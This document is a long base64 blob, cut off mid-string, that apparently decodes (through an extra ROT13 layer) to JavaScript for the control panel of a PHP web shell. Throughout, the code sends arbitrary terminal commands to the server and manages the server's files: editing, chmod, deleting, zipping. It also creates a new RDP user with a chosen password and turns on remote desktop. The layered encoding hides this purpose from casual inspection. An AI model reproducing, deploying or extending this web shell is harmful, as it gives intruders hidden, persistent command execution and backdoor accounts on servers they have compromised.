JWZ3J6LnB5bmZmWXZmZy5lcnpiaXIoJ2ZyeXJwZ3JxJyk7DQogICAgfSByeWZyIHsNCiAgICAgICAgZnJ5cnBncnFTdnlyZi5ucXEoc3Z5ckFuenIpOw0KICAgICAgICBzdnlyVmdyei5weW5mZll2ZmcubnFxKCdmcnlycGdycScpOw0KICAgIH0NCn0NCg0Kc2hhcGd2YmEgcHlybmVGcnlycGd2YmEoKSB7DQogICAgZnJ5cnBncnFTdnlyZi5weXJuZSgpOw0KICAgIHFicGh6cmFnLmRocmVsRnJ5cnBnYmVOeXkoJy5zdnlyLXZncnouZnJ5cnBncnEnKS5zYmVSbnB1KHZncnogPT4gew0KICAgICAgICB2Z3J6LnB5bmZmWXZmZy5lcnpiaXIoJ2ZyeXJwZ3JxJyk7DQogICAgfSk7DQp9DQoNCnNoYXBndmJhIGZyeXJwZ1N2eXJFbmF0cihnbmV0cmdWZ3J6KSB7DQogICAgcGJhZmcgc3Z5clZncnpmID0gTmVlbmwuc2VieihxYnBoenJhZy5kaHJlbEZyeXJwZ2JlTnl5KCcuc3Z5ci12Z3J6JykpOw0KICAgIHBiYWZnIGduZXRyZ1ZhcXJrID0gc3Z5clZncnpmLnZhcXJrQnMoZ25ldHJnVmdyeik7DQogICAgDQogICAgdnMgKGZyeXJwZ3JxU3Z5cmYuZnZtciA9PT0gMCkgew0KICAgICAgICBnYnR0eXJTdnlyRnJ5cnBndmJhKGduZXRyZ1ZncnopOw0KICAgICAgICBlcmdoZWE7DQogICAgfQ0KICAgIA0KICAgIC8vIFN2YXEgc3ZlZmcgZnJ5cnBncnEgdmdyeg0KICAgIHlyZyBzdmVmZ0ZyeXJwZ3JxVmFxcmsgPSAtMTsNCiAgICBzYmUgKHlyZyB2ID0gMDsgdiA8IHN2eXJWZ3J6Zi55cmF0Z3U7IHYrKykgew0KICAgICAgICB2cyAoc3Z5clZncnpmW3ZdLnB5bmZmWXZmZy5wYmFnbnZhZignZnJ5cnBncnEnKSkgew0KICAgICAgICAgICAgc3ZlZmdGcnlycGdycVZhcXJrID0gdjsNCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHZzIChzdmVmZ0ZyeXJwZ3JxVmFxcmsgPT09IC0xKSBlcmdoZWE7DQogICAgDQogICAgLy8gRnJ5cnBnIGVuYXRyDQogICAgcGJhZmcgZmduZWcgPSBabmd1Lnp2YShzdmVmZ0ZyeXJwZ3JxVmFxcmssIGduZXRyZ1ZhcXJrKTsNCiAgICBwYmFmZyByYXEgPSBabmd1LnpuayhzdmVmZ0ZyeXJwZ3JxVmFxcmssIGduZXRyZ1ZhcXJrKTsNCiAgICANCiAgICBzYmUgKHlyZyB2ID0gZmduZWc7IHYgPD0gcmFxOyB2KyspIHsNCiAgICAgICAgcGJhZmcgc3Z5ckFuenIgPSBzdnlyVmdyemZbdl0ucW5nbmZyZy5zdnlyOw0KICAgICAgICBmcnlycGdycVN2eXJmLm5xcShzdnlyQW56cik7DQogICAgICAgIHN2eXJWZ3J6Zlt2XS5weW5mZll2ZmcubnFxKCdmcnlycGdycScpOw0KICAgIH0NCn0NCg0Kc2hhcGd2YmEgaGNxbmdyRnJ5cnBndmJhSFYoKSB7DQogICAgcGJhZmcgcGJoYWcgPSBmcnlycGdycVN2eXJmLmZ2bXI7DQogICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2ZyeXJwZ3JxUGJoYWcnKS5ncmtnUGJhZ3JhZyA9IHBiaGFnOw0KICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdtdmNPZ2EnKS5xdmZub3lycSA9IHBiaGFnID09PSAwOw0KfQ0KDQovLyBQYmFncmtnIFpyYWggU2hhcGd2YmFmDQpzaGFwZ3ZiYSBmdWJqUGJhZ3JrZ1pyYWgocikgew0KICAgIHBiYWZnIHBiYWdya2dacmFoID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BiYWdya2dacmFoJyk7DQogICAgcGJhZ3JrZ1pyYWhHbmV0cmcgPSByLmduZXRyZy5weWJmcmZnKCcuc3Z5ci12Z3J6Jyk7DQogICAgDQogICAgcGJhZ3JrZ1pyYWguZmdseXIucXZmY3lubCA9ICdveWJweCc7DQogICAgcGJhZ3JrZ1pyYWguZmdseXIueXJzZyA9IHIuY250cksgKyAnY2snOw0KICAgIHBiYWdya2dacmFoLmZnbHlyLmdiYyA9IHIuY250ckwgKyAnY2snOw0KICAgIA0KICAgIHIuY2VyaXJhZ1Fyc25oeWcoKTsNCn0NCg0Kc2hhcGd2YmEgdXZxclBiYWdya2dacmFoKCkgew0KICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwYmFncmtnWnJhaCcpLmZnbHlyLnF2ZmN5bmwgPSAnYWJhcic7DQogICAgcGJhZ3JrZ1pyYWhHbmV0cmcgPSBhaHl5Ow0KfQ0KDQpzaGFwZ3ZiYSBwYmFncmtnWnJhaE5wZ3ZiYShucGd2YmEpIHsNCiAgICB2cyAoIXBiYWdya2dacmFoR25ldHJnKSBlcmdoZWE7DQogICAgDQogICAgcGJhZmcgc3Z5ckNuZ3UgPSBwYmFncmtnWnJhaEduZXRyZy5xbmduZnJnLmNuZ3U7DQogICAgcGJhZmcgc3Z5ckFuenIgPSBwYmFncmtnWnJhaEduZXRyZy5xbmduZnJnLnN2eXI7DQogICAgcGJhZmcgc3Z5ckdsY3IgPSBwYmFncmtnWnJhaEduZXRyZy5xbmduZnJnLmdsY3I7DQogICAgDQogICAgZmp2Z3B1IChucGd2YmEpIHsNCiAgICAgICAgcG5mciAnZnJ5cnBnJzoNCiAgICAgICAgICAgIGdidHR5clN2eXJGcnlycGd2YmEocGJhZ3JrZ1pyYWhHbmV0cmcpOw0KICAgICAgICAgICAgaGNxbmdyRnJ5cnBndmJhSFYoKTsNCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICBwbmZyICdxYmpheWJucSc6DQogICAgICAgICAgICB2cyAoc3Z5ckdsY3IgIT09ICdxdmUnKSB7DQogICAgICAgICAgICAgICAganZhcWJqLnlicG5ndmJhLnVlcnMgPSAnP25wZ3ZiYT1xYmpheWJucSZzdnlyPScgKyByYXBicXJIRVZQYnpjYmFyYWcoc3Z5ckNuZ3UpICsgJyZxdmU9JyArIHJhcGJxckhFVlBiemNiYXJhZygnPD9jdWMgcnB1YiAkcGhlZXJhZ19xdmU7ID8+Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBvZXJueDsNCiAgICAgICAgcG5mciAncnF2Zyc6DQogICAgICAgICAgICB2cyAoc3Z5ckdsY3IgIT09ICdxdmUnKSB7DQogICAgICAgICAgICAgICAgcnF2Z1N2eXIoc3Z5ckNuZ3UpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgb2Vybng7DQogICAgICAgIHBuZnIgJ2VyYW56cic6DQogICAgICAgICAgICBlcmFuenJTdnlyKHN2eXJDbmd1KTsNCiAgICAgICAgICAgIG9lcm54Ow0KICAgICAgICBwbmZyICdwdXpicSc6DQogICAgICAgICAgICBwYmFmZyBwaGVlcmFnQ3JleiA9IHBiYWdya2dacmFoR25ldHJnLmRocmVsRnJ5cnBnYmUoJy5zdnlyLWNyZXp2ZmZ2YmEnKS5ncmtnUGJhZ3JhZzsNCiAgICAgICAgICAgIHB1emJxU3Z5cihzdnlyQ25ndSwgcGhlZXJhZ0NyZXopOw0KICAgICAgICAgICAgb2Vybng7DQogICAgICAgIHBuZnIgJ3FyeXJncic6DQogICAgICAgICAgICBxcnlyZ3JTdnlyKHN2eXJDbmd1KTsNCiAgICAgICAgICAgIG9lcm54Ow0KICAgIH0NCiAgICANCiAgICB1dnFyUGJhZ3JrZ1pyYWgoKTsNCn0NCg0KLy8gTXZjL0hhbXZjIFNoYXBndmJhZg0Kc2hhcGd2YmEgcGVybmdyTXZjKCkgew0KICAgIHBiYWZnIG12Y0FuenIgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnbXZjQW56cicpLmlueWhyOw0KICAgIHZzICghbXZjQW56cikgew0KICAgICAgICBueXJlZygnQ3lybmZyIHJhZ3JlIG4gbXZjIHN2eXIgYW56cicpOw0KICAgICAgICBlcmdoZWE7DQogICAgfQ0KICAgIA0KICAgIHBiYWZnIHN2eXJmID0gTmVlbmwuc2VieihmcnlycGdycVN2eXJmKTsNCiAgICANCiAgICBzcmdwdSgnJywgew0KICAgICAgICB6cmd1YnE6ICdDQkZHJywNCiAgICAgICAgdXJucXJlZjogew0KICAgICAgICAgICAgJ1BiYWdyYWctR2xjcic6ICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnLA0KICAgICAgICB9LA0KICAgICAgICBvYnFsOiBgbnduaz1nZWhyJm5wZ3ZiYT1tdmNfc3Z5cmYmc3Z5cmY9JHtyYXBicXJIRVZQYnpjYmFyYWcoV0ZCQS5mZ2V2YXR2c2woc3Z5cmYpKX0mbXZjX2FuenI9JHtyYXBicXJIRVZQYnpjYmFyYWcobXZjQW56cil9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBueXJlZygnTXZjIHN2eXIgcGVybmdycSBmaHBwcmZmc2h5eWw6ICcgKyBxbmduLmJoZ2NoZyk7DQogICAgICAgICAgICBweWJmclpicW55KCdtdmNaYnFueScpOw0KICAgICAgICAgICAgLy8gRXJzZXJmdSBjbnRyIGdiIGZ1YmogYXJqIG12YyBzdnlyDQogICAgICAgICAgICBmcmdHdnpyYmhnKCgpID0+IHsNCiAgICAgICAgICAgICAgICBqdmFxYmoueWJwbmd2YmEuZXJ5Ym5xKCk7DQogICAgICAgICAgICB9LCAxMDAwKTsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIG55cmVnKCdSZWViZSBwZXJuZ3ZhdCBtdmM6ICcgKyBxbmduLmJoZ2NoZyk7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIG55cmVnKCdSZWViZTogJyArIHJlZWJlKTsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgcmtnZW5wZ012YygpIHsNCiAgICBwYmFmZyBtdmNTdnlyID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hhbXZjU3Z5ckZyeXJwZycpLmlueWhyOw0KICAgIHBiYWZnIHJrZ2VucGdDbmd1ID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hhbXZjQ25ndScpLmlueWhyOw0KICAgIA0KICAgIHZzICghbXZjU3Z5cikgew0KICAgICAgICBueXJlZygnQ3lybmZyIGZyeXJwZyBuIG12YyBzdnlyJyk7DQogICAgICAgIGVyZ2hlYTsNCiAgICB9DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9aGFtdmNfc3Z5ciZtdmNfc3Z5cj0ke3JhcGJxckhFVlBiemNiYXJhZyhtdmNTdnlyKX0mcmtnZW5wZ19jbmd1PSR7cmFwYnFySEVWUGJ6Y2JhcmFnKHJrZ2VucGdDbmd1KX1gDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHZzIChxbmduLmZocHByZmYpIHsNCiAgICAgICAgICAgIG55cmVnKCdNdmMgc3Z5ciBya2dlbnBncnEgZmhwcHJmZnNoeXlsOiAnICsgcW5nbi5iaGdjaGcpOw0KICAgICAgICAgICAgcHliZnJaYnFueSgnaGFtdmNaYnFueScpOw0KICAgICAgICAgICAgLy8gRXJzZXJmdSBjbnRyIGdiIGZ1YmogcmtnZW5wZ3JxIHN2eXJmDQogICAgICAgICAgICBmcmdHdnpyYmhnKCgpID0+IHsNCiAgICAgICAgICAgICAgICBqdmFxYmoueWJwbmd2YmEuZXJ5Ym5xKCk7DQogICAgICAgICAgICB9LCAxMDAwKTsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIG55cmVnKCdSZWViZSBya2dlbnBndmF0IG12YzogJyArIHFuZ24uYmhnY2hnKTsNCiAgICAgICAgfQ0KICAgIH0pDQogICAgLnBuZ3B1KHJlZWJlID0+IHsNCiAgICAgICAgbnlyZWcoJ1JlZWJlOiAnICsgcmVlYmUpOw0KICAgIH0pOw0KfQ0KDQovLyBFUUMgU2hhcGd2YmFmDQpzaGFwZ3ZiYSBucXFFcWNIZnJlKCkgew0KICAgIHBiYWZnIGhmcmVhbnpyID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2VxY0hmcmVhbnpyJykuaW55aHI7DQogICAgcGJhZmcgY25mZmpiZXEgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZXFjQ25mZmpiZXEnKS5pbnlocjsNCiAgICANCiAgICB2cyAoIWhmcmVhbnpyIHx8ICFjbmZmamJlcSkgew0KICAgICAgICBueXJlZygnQ3lybmZyIHJhZ3JlIG9iZ3UgaGZyZWFuenIgbmFxIGNuZmZqYmVxJyk7DQogICAgICAgIGVyZ2hlYTsNCiAgICB9DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9bnFxX2VxY19oZnJlJmhmcmVhbnpyPSR7cmFwYnFySEVWUGJ6Y2JhcmFnKGhmcmVhbnpyKX0mY25mZmpiZXE9JHtyYXBicXJIRVZQYnpjYmFyYWcoY25mZmpiZXEpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgcGJhZmcgYmhnY2hnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2VxY1puYW50cmVCaGdjaGcnKTsNCiAgICAgICAgdnMgKHFuZ24uZmhwcHJmZikgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogIzI4bjc0NTsiPiR7cW5nbi5iaGdjaGd9PC9xdmk+YDsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij4ke3FuZ24uYmhnY2hnfTwvcXZpPmA7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdlcWNabmFudHJlQmhnY2hnJykudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjcXAzNTQ1OyI+UmVlYmU6ICR7cmVlYmV9PC9xdmk+YDsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgcmFub3lyRXFjKCkgew0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6ICdud25rPWdlaHImbnBndmJhPXJhbm95cl9lcWMnDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHBiYWZnIGJoZ2NoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdlcWNabmFudHJlQmhnY2hnJyk7DQogICAgICAgIHZzIChxbmduLmZocHByZmYpIHsNCiAgICAgICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICMyOG43NDU7Ij4ke3FuZ24uYmhnY2hnfTwvcXZpPmA7DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjcXAzNTQ1OyI+JHtxbmduLmJoZ2NoZ308L3F2aT5gOw0KICAgICAgICB9DQogICAgfSkNCiAgICAucG5ncHUocmVlYmUgPT4gew0KICAgICAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZXFjWm5hbnRyZUJoZ2NoZycpLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogI3FwMzU0NTsiPlJlZWJlOiAke3JlZWJlfTwvcXZpPmA7DQogICAgfSk7DQp9DQoNCi8vIEdyZXp2YW55IHNoYXBndmJhZg0Kc2hhcGd2YmEgcmtycGhnclBienpuYXEocHpxID0gYWh5eSkgew0KICAgIHBiYWZnIGdyZXp2YW55VmFjaGcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZ3JlenZhbnlWYWNoZycpOw0KICAgIHBiYWZnIHJrcnBoZ3JPZ2EgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncmtycGhnck9nYScpOw0KICAgIHBiYWZnIHBienpuYXEgPSBwenEgfHwgZ3JlenZhbnlWYWNoZy5pbnloci5nZXZ6KCk7DQogICAgDQogICAgdnMgKCFwYnp6bmFxKSBlcmdoZWE7DQogICAgDQogICAgLy8gTnFxIGdiIHBienpuYXEgdXZmZ2JlbA0KICAgIHZzICghcGJ6em5hcVV2ZmdiZWwudmFweWhxcmYocGJ6em5hcSkpIHsNCiAgICAgICAgcGJ6em5hcVV2ZmdiZWwuaGFmdXZzZyhwYnp6bmFxKTsNCiAgICAgICAgdnMgKHBienpuYXFVdmZnYmVsLnlyYXRndSA+IDIwKSB7DQogICAgICAgICAgICBwYnp6bmFxVXZmZ2JlbC5jYmMoKTsNCiAgICAgICAgfQ0KICAgICAgICB5YnBueUZnYmVudHIuZnJnVmdyeigncGJ6em5hcVV2ZmdiZWwnLCBXRkJBLmZnZXZhdHZzbChwYnp6bmFxVXZmZ2JlbCkpOw0KICAgICAgICBoY3FuZ3JQYnp6bmFxVXZmZ2JlbFF2ZmN5bmwoKTsNCiAgICB9DQogICAgDQogICAgLy8gUHlybmUgdmFjaGcgbmFxIHF2Zm5veXIgb2hnZ2JhDQogICAgZ3JlenZhbnlWYWNoZy5pbnlociA9ICcnOw0KICAgIHJrcnBoZ3JPZ2EucXZmbm95cnEgPSBnZWhyOw0KICAgIHJrcnBoZ3JPZ2EuZ3JrZ1BiYWdyYWcgPSAnUmtycGhndmF0Li4uJzsNCiAgICANCiAgICAvLyBGdWJqIHBienpuYXEgdmEgYmhnY2hnDQogICAgcGJhZmcgZ3JlenZhbnlCaGdjaGcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZ3JlenZhbnlCaGdjaGcnKTsNCiAgICBncmV6dmFueUJoZ2NoZy52YWFyZVVHWlkgKz0gYDxxdmkgcHluZmY9ImdyZXp2YW55LWNlYnpjZyI+JCAke3BienpuYXF9PC9xdmk+YDsNCiAgICBncmV6dmFueUJoZ2NoZy5mcGVieXlHYmMgPSBncmV6dmFueUJoZ2NoZy5mcGVieXlVcnZ0dWc7DQogICAgDQogICAgLy8gUmtycGhnciBwYnp6bmFxIGl2biBOV05LDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9cmtycGhncl9wYnp6bmFxJnBienpuYXE9JHtyYXBicXJIRVZQYnpjYmFyYWcocGJ6em5hcSl9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBncmV6dmFueUJoZ2NoZy52YWFyZVVHWlkgKz0gYDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZy15dmFyIj4ke3FuZ24uYmhnY2hnfTwvcXZpPmA7DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBncmV6dmFueUJoZ2NoZy52YWFyZVVHWlkgKz0gYDxxdmkgcHluZmY9ImdyZXp2YW55LWJoZ2NoZy15dmFyIiBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij5SZWViZTogJHtxbmduLmJoZ2NoZ308L3F2aT5gOw0KICAgICAgICB9DQogICAgICAgIGdyZXp2YW55QmhnY2hnLmZwZWJ5eUdiYyA9IGdyZXp2YW55QmhnY2hnLmZwZWJ5eVVydnR1ZzsNCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIGdyZXp2YW55QmhnY2hnLnZhYXJlVUdaWSArPSBgPHF2aSBweW5mZj0iZ3JlenZhbnktYmhnY2hnLXl2YXIiIGZnbHlyPSJwYnliZTogI3FwMzU0NTsiPkFyZ2piZXggcmVlYmU6ICR7cmVlYmV9PC9xdmk+YDsNCiAgICAgICAgZ3JlenZhbnlCaGdjaGcuZnBlYnl5R2JjID0gZ3JlenZhbnlCaGdjaGcuZnBlYnl5VXJ2dHVnOw0KICAgIH0pDQogICAgLnN2YW55eWwoKCkgPT4gew0KICAgICAgICAvLyBFci1yYW5veXIgb2hnZ2JhDQogICAgICAgIHJrcnBoZ3JPZ2EucXZmbm95cnEgPSBzbnlmcjsNCiAgICAgICAgcmtycGhnck9nYS5ncmtnUGJhZ3JhZyA9ICdSa3JwaGdyJzsNCiAgICAgICAgZ3JlenZhbnlWYWNoZy5zYnBoZigpOw0KICAgICAgICBwaGVlcmFnVXZmZ2JlbFZhcXJrID0gLTE7DQogICAgfSk7DQp9DQoNCnNoYXBndmJhIHJrcnBoZ3JQYnp6bmFxSnZndVF2ZShwenEpIHsNCiAgICBwYmFmZyBwaGVlcmFnUXZlID0gJzw/Y3VjIHJwdWIgbnFxZnluZnVyZigkcGhlZXJhZ19xdmUpOyA/Pic7DQogICAgcGJhZmcgcGJ6em5hcSA9IGBwcSAiJHtwaGVlcmFnUXZlfSIgJiYgJHtwenF9YDsNCiAgICBya3JwaGdyUGJ6em5hcShwYnp6bmFxKTsNCn0NCg0Kc2hhcGd2YmEgdmFmcmVnUGJ6emJhUGJ6em5hcUp2Z3VRdmUocHpxKSB7DQogICAgcGJhZmcgZ3JlenZhbnlWYWNoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdncmV6dmFueVZhY2hnJyk7DQogICAgZ3JlenZhbnlWYWNoZy5pbnlociA9IHB6cTsNCiAgICBncmV6dmFueVZhY2hnLnNicGhmKCk7DQp9DQoNCnNoYXBndmJhIHB5cm5lR3JlenZhbnkoKSB7DQogICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2dyZXp2YW55QmhnY2hnJykudmFhcmVVR1pZID0gJzxxdmk+Ly8gR3JlenZhbnkgcHlybmVycTwvcXZpPic7DQp9DQoNCnNoYXBndmJhIHZhZnJlZ1BienpiYVBienpuYXEocHpxKSB7DQogICAgcGJhZmcgZ3JlenZhbnlWYWNoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdncmV6dmFueVZhY2hnJyk7DQogICAgZ3JlenZhbnlWYWNoZy5pbnlociA9IHB6cTsNCiAgICBncmV6dmFueVZhY2hnLnNicGhmKCk7DQp9DQoNCnNoYXBndmJhIGhjcW5nclBienpuYXFVdmZnYmVsUXZmY3lubCgpIHsNCiAgICBwYmFmZyB1dmZnYmVsUGJhZ252YXJlID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BienpuYXFVdmZnYmVsJyk7DQogICAgdnMgKHV2ZmdiZWxQYmFnbnZhcmUgJiYgcGJ6em5hcVV2ZmdiZWwueXJhdGd1ID4gMCkgew0KICAgICAgICB1dmZnYmVsUGJhZ252YXJlLnZhYXJlVUdaWSA9ICc8ZmdlYmF0PlBienpuYXEgVXZmZ2JlbDo8L2ZnZWJhdD48b2U+JyArIA0KICAgICAgICAgICAgcGJ6em5hcVV2ZmdiZWwuZnl2cHIoMCwgNSkuem5jKChwenEsIHZhcXJrKSA9PiANCiAgICAgICAgICAgICAgICBgPHF2aSBweW5mZj0icGJ6em5hcS12Z3J6IiBiYXB5dnB4PSJ2YWZyZWdQYnp6YmFQYnp6bmFxKCcke3B6cS5lcmN5bnByKC8nL3QsICJcXCciKX0nKSI+JHtwenF9PC9xdmk+YA0KICAgICAgICAgICAgKS53YnZhKCcnKTsNCiAgICB9DQp9DQoNCnNoYXBndmJhIGFuaXZ0bmdyVXZmZ2JlbChxdmVycGd2YmEpIHsNCiAgICB2cyAocGJ6em5hcVV2ZmdiZWwueXJhdGd1ID09PSAwKSBlcmdoZWE7DQogICAgDQogICAgcGJhZmcgZ3JlenZhbnlWYWNoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdncmV6dmFueVZhY2hnJyk7DQogICAgDQogICAgdnMgKHBoZWVyYWdVdmZnYmVsVmFxcmsgPT09IC0xKSB7DQogICAgICAgIHBoZWVyYWdVdmZnYmVsVmFxcmsgPSBxdmVycGd2YmEgPT09IC0xID8gMCA6IHBienpuYXFVdmZnYmVsLnlyYXRndSAtIDE7DQogICAgfSByeWZyIHsNCiAgICAgICAgcGhlZXJhZ1V2ZmdiZWxWYXFyayArPSBxdmVycGd2YmE7DQogICAgICAgIHZzIChwaGVlcmFnVXZmZ2JlbFZhcXJrIDwgMCkgcGhlZXJhZ1V2ZmdiZWxWYXFyayA9IHBienpuYXFVdmZnYmVsLnlyYXRndSAtIDE7DQogICAgICAgIHZzIChwaGVlcmFnVXZmZ2JlbFZhcXJrID49IHBienpuYXFVdmZnYmVsLnlyYXRndSkgcGhlZXJhZ1V2ZmdiZWxWYXFyayA9IDA7DQogICAgfQ0KICAgIA0KICAgIGdyZXp2YW55VmFjaGcuaW55aHIgPSBwYnp6bmFxVXZmZ2JlbFtwaGVlcmFnVXZmZ2JlbFZhcXJrXTsNCn0NCg0KLy8gU3Z5ciBycXZnYmUgc2hhcGd2YmFmDQpzaGFwZ3ZiYSBycXZnU3Z5cihzdnlyY25ndSkgew0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6IGBud25rPWdlaHImbnBndmJhPXRyZ19zdnlyX3BiYWdyYWcmc3Z5cmNuZ3U9JHtyYXBicXJIRVZQYnpjYmFyYWcoc3Z5cmNuZ3UpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgdnMgKHFuZ24uZmhwcHJmZikgew0KICAgICAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3JxdmdTdnlyQ25ndScpLmlueWhyID0gc3Z5cmNuZ3U7DQogICAgICAgICAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncnF2Z1N2eXJBbnpyJykuZ3JrZ1BiYWdyYWcgPSBzdnlyY25ndS5mY3l2ZygnLycpLmNiYygpOw0KICAgICAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3JxdmdTdnlyUGJhZ3JhZycpLmlueWhyID0gcW5nbi5wYmFncmFnOw0KICAgICAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3JxdmdaYnFueScpLmZnbHlyLnF2ZmN5bmwgPSAnb3licHgnOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgbnlyZWcoJ1JlZWJlIHlibnF2YXQgc3Z5cjogJyArIHFuZ24ucmVlYmUpOw0KICAgICAgICB9DQogICAgfSkNCiAgICAucG5ncHUocmVlYmUgPT4gew0KICAgICAgICBueXJlZygnUmVlYmUgeWJucXZhdCBzdnlyOiAnICsgcmVlYmUpOw0KICAgIH0pOw0KfQ0KDQpzaGFwZ3ZiYSBmbmlyU3Z5cigpIHsNCiAgICBwYmFmZyBzdnlyY25ndSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdycXZnU3Z5ckNuZ3UnKS5pbnlocjsNCiAgICBwYmFmZyBwYmFncmFnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3JxdmdTdnlyUGJhZ3JhZycpLmlueWhyOw0KICAgIA0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3Vic